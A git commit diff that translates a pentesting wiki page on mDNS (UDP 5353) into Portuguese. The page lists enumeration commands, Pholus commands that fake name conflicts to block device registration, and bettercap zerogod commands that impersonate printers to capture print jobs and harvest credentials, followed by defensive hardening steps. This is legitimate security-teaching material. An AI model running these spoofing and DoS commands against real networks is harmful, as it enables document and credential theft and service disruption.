Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:17:13 +00:00
parent 2c57947edb
commit a70ba11921
2 changed files with 118 additions and 26 deletions

View File

@ -65,7 +65,7 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()

View File

@ -2,52 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## **Informações Básicas**
## Informações Básicas
**Multicast DNS (mDNS)** permite operações **semelhantes ao DNS** dentro de redes locais sem a necessidade de um servidor DNS tradicional. Ele opera na **porta UDP 5353** e permite que dispositivos descubram uns aos outros e seus serviços, comumente vistos em vários dispositivos IoT. **DNS Service Discovery (DNS-SD)**, frequentemente usado junto com mDNS, ajuda a identificar serviços disponíveis na rede através de consultas DNS padrão.
Multicast DNS (mDNS) permite a resolução de nomes e descoberta de serviços semelhante ao DNS dentro de um link local sem um servidor DNS unicast. Ele usa UDP/5353 e os endereços multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). A Descoberta de Serviços DNS (DNS-SD, tipicamente usada com mDNS) fornece uma maneira padronizada de enumerar e descrever serviços via registros PTR, SRV e TXT.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Operação do mDNS**
Detalhes chave do protocolo que você frequentemente usará durante os ataques:
- Nomes na zona .local são resolvidos via mDNS.
- O bit QU (Query Unicast) pode solicitar respostas unicast mesmo para perguntas multicast.
- Implementações devem ignorar pacotes que não são originados do link local; algumas pilhas ainda os aceitam.
- Probing/anunciando impõe nomes de host/serviço únicos; interferir aqui cria condições de DoS/"name squatting".
Em ambientes sem um servidor DNS padrão, o mDNS permite que dispositivos resolvam nomes de domínio terminando em **.local** consultando o endereço multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Aspectos importantes do mDNS incluem um valor de **Time-to-Live (TTL)** que indica a validade do registro e um **bit QU** que distingue entre consultas unicast e multicast. Em termos de segurança, é crucial que as implementações de mDNS verifiquem se o endereço de origem do pacote está alinhado com a sub-rede local.
## Modelo de serviço DNS-SD
### **Funcionamento do DNS-SD**
Os serviços são identificados como _<service>._tcp ou _<service>._udp sob .local, por exemplo, _ipp._tcp.local (impressoras), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), etc. Descubra tipos com _services._dns-sd._udp.local, depois resolva as instâncias descobertas para SRV/TXT/A/AAAA.
O DNS-SD facilita a descoberta de serviços de rede consultando registros de ponteiro (PTR) que mapeiam tipos de serviço para suas instâncias. Os serviços são identificados usando um padrão **\_\<Service>.\_tcp ou \_\<Service>.\_udp** dentro do domínio **.local**, levando à descoberta de correspondentes **SRV** e **TXT records** que fornecem informações detalhadas sobre o serviço.
## Exploração e Enumeração de Rede
### **Exploração de Rede**
#### **Uso do nmap**
Um comando útil para escanear a rede local em busca de serviços mDNS é:
- varredura de alvo nmap (mDNS direto em um host):
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
Este comando ajuda a identificar portas mDNS abertas e os serviços anunciados por elas.
#### **Enumeração de Rede com Pholus**
Para enviar ativamente solicitações mDNS e capturar tráfego, a ferramenta **Pholus** pode ser utilizada da seguinte forma:
- descoberta de broadcast nmap (ouça o segmento e enumere todos os tipos/instâncias DNS-SD):
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browse (Linux):
```bash
# Listar tipos de serviço
avahi-browse -bt _services._dns-sd._udp
# Navegar por todos os serviços e resolver para host/porta
avahi-browse -art
```
- Apple dns-sd (macOS):
```bash
# Navegar por todos os serviços HTTP
dns-sd -B _http._tcp
# Enumerar tipos de serviço
dns-sd -B _services._dns-sd._udp
# Resolver uma instância específica para SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
```
- Captura de pacotes com tshark:
```bash
# Captura ao vivo
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Apenas consultas de lista de serviços DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
Dica: Alguns navegadores/WebRTC usam nomes de host mDNS efêmeros para mascarar IPs locais. Se você ver candidatos random-UUID.local na rede, resolva-os com mDNS para pivotar para IPs locais.
## Ataques
### **Explorando a Probing do mDNS**
### Interferência de probing de nome mDNS (DoS / name squatting)
Um vetor de ataque envolve o envio de respostas falsificadas para as sondas mDNS, sugerindo que todos os nomes potenciais já estão em uso, dificultando que novos dispositivos selecionem um nome único. Isso pode ser executado usando:
Durante a fase de probing, um host verifica a unicidade do nome. Responder com conflitos falsificados força-o a escolher novos nomes ou falhar. Isso pode atrasar ou impedir o registro e a descoberta de serviços.
Exemplo com Pholus:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
Esta técnica bloqueia efetivamente novos dispositivos de registrarem seus serviços na rede.
### Falsificação de serviço e impersonação (MitM)
**Em resumo**, entender o funcionamento do mDNS e DNS-SD é crucial para a gestão e segurança da rede. Ferramentas como **nmap** e **Pholus** oferecem insights valiosos sobre os serviços de rede local, enquanto a conscientização sobre vulnerabilidades potenciais ajuda a proteger contra ataques.
Impersonar serviços DNS-SD anunciados (impressoras, AirPlay, HTTP, compartilhamentos de arquivos) para forçar clientes a se conectarem a você. Isso é especialmente útil para:
- Capturar documentos falsificando _ipp._tcp ou _printer._tcp.
- Atrair clientes para serviços HTTP/HTTPS para coletar tokens/cookies ou entregar payloads.
- Combinar com técnicas de retransmissão NTLM quando clientes Windows negociam autenticação com serviços falsificados.
### Spoofing/MitM
Com o módulo zerogod do bettercap (falsificador/impersonador mDNS/DNS-SD):
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
O ataque mais interessante que você pode realizar sobre este serviço é executar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
Também veja metodologias genéricas de spoofing LLMNR/NBNS/mDNS/WPAD e fluxos de captura/revezamento de credenciais:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Notas sobre problemas de implementação recentes (útil para DoS/persistência durante os engajamentos)
- Bugs de falha de afirmação de alcance do Avahi e D-Bus (2023) podem encerrar o avahi-daemon em distribuições Linux (por exemplo, CVE-2023-38469..38473, CVE-2023-1981), interrompendo a descoberta de serviços em hosts-alvo até a reinicialização.
- DoS do gateway mDNS do Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) permite que atacantes adjacentes provoquem alta utilização da CPU e desconectem APs. Se você encontrar um gateway mDNS entre VLANs, esteja ciente de sua estabilidade sob mDNS malformado ou de alta taxa.
## Considerações defensivas e OPSEC
- Limites de segmento: Não roteie 224.0.0.251/FF02::FB entre zonas de segurança, a menos que um gateway mDNS seja explicitamente necessário. Se você precisar interligar a descoberta, prefira listas de permissão e limites de taxa.
- Endpoints/servidores Windows:
- Para desativar completamente a resolução de nomes via mDNS, defina o valor do registro e reinicie:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- Em ambientes gerenciados, desative a regra de firewall do Windows Defender “mDNS (UDP-In)” (pelo menos no perfil de Domínio) para evitar o processamento de mDNS de entrada, preservando a funcionalidade de casa/roaming.
- Em versões mais recentes do Windows 11/temas de GPO, use a política “Configuração do Computador > Modelos Administrativos > Rede > Cliente DNS > Configurar protocolo DNS multicast (mDNS)” e defina como Desativado.
- Linux (Avahi):
- Restringir a publicação quando não necessário: defina `disable-publishing=yes` e restrinja interfaces com `allow-interfaces=` / `deny-interfaces=` em `/etc/avahi/avahi-daemon.conf`.
- Considere `check-response-ttl=yes` e evite `enable-reflector=yes`, a menos que estritamente necessário; prefira listas de permissão `reflect-filters=` ao refletir.
- macOS: Restringir mDNS de entrada em firewalls de host/rede quando a descoberta Bonjour não for necessária para sub-redes específicas.
- Monitoramento: Alerta sobre aumentos incomuns em consultas `_services._dns-sd._udp.local` ou mudanças súbitas em SRV/TXT de serviços críticos; estes são indicadores de spoofing ou impersonação de serviço.
## Referência rápida de ferramentas
- nmap NSE: `dns-service-discovery` e `broadcast-dns-service-discovery`.
- Pholus: varredura ativa, varreduras reversas de mDNS, auxiliares de DoS e spoofing.
```bash
# Sniffing passivo (segundos de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerar tipos de serviço
sudo python3 pholus3.py <iface> -sscan
# Enviar solicitações genéricas de mDNS
sudo python3 pholus3.py <iface> --request
# Varredura reversa de mDNS de uma sub-rede
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod: descobrir, salvar, anunciar e impersonar serviços mDNS/DNS-SD (veja exemplos acima).
## Spoofing/MitM
O ataque mais interessante que você pode realizar sobre este serviço é realizar um MitM na comunicação entre o cliente e o servidor real. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\
Para mais informações, consulte:
{{#ref}}
@ -57,5 +147,7 @@ Para mais informações, consulte:
## Referências
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}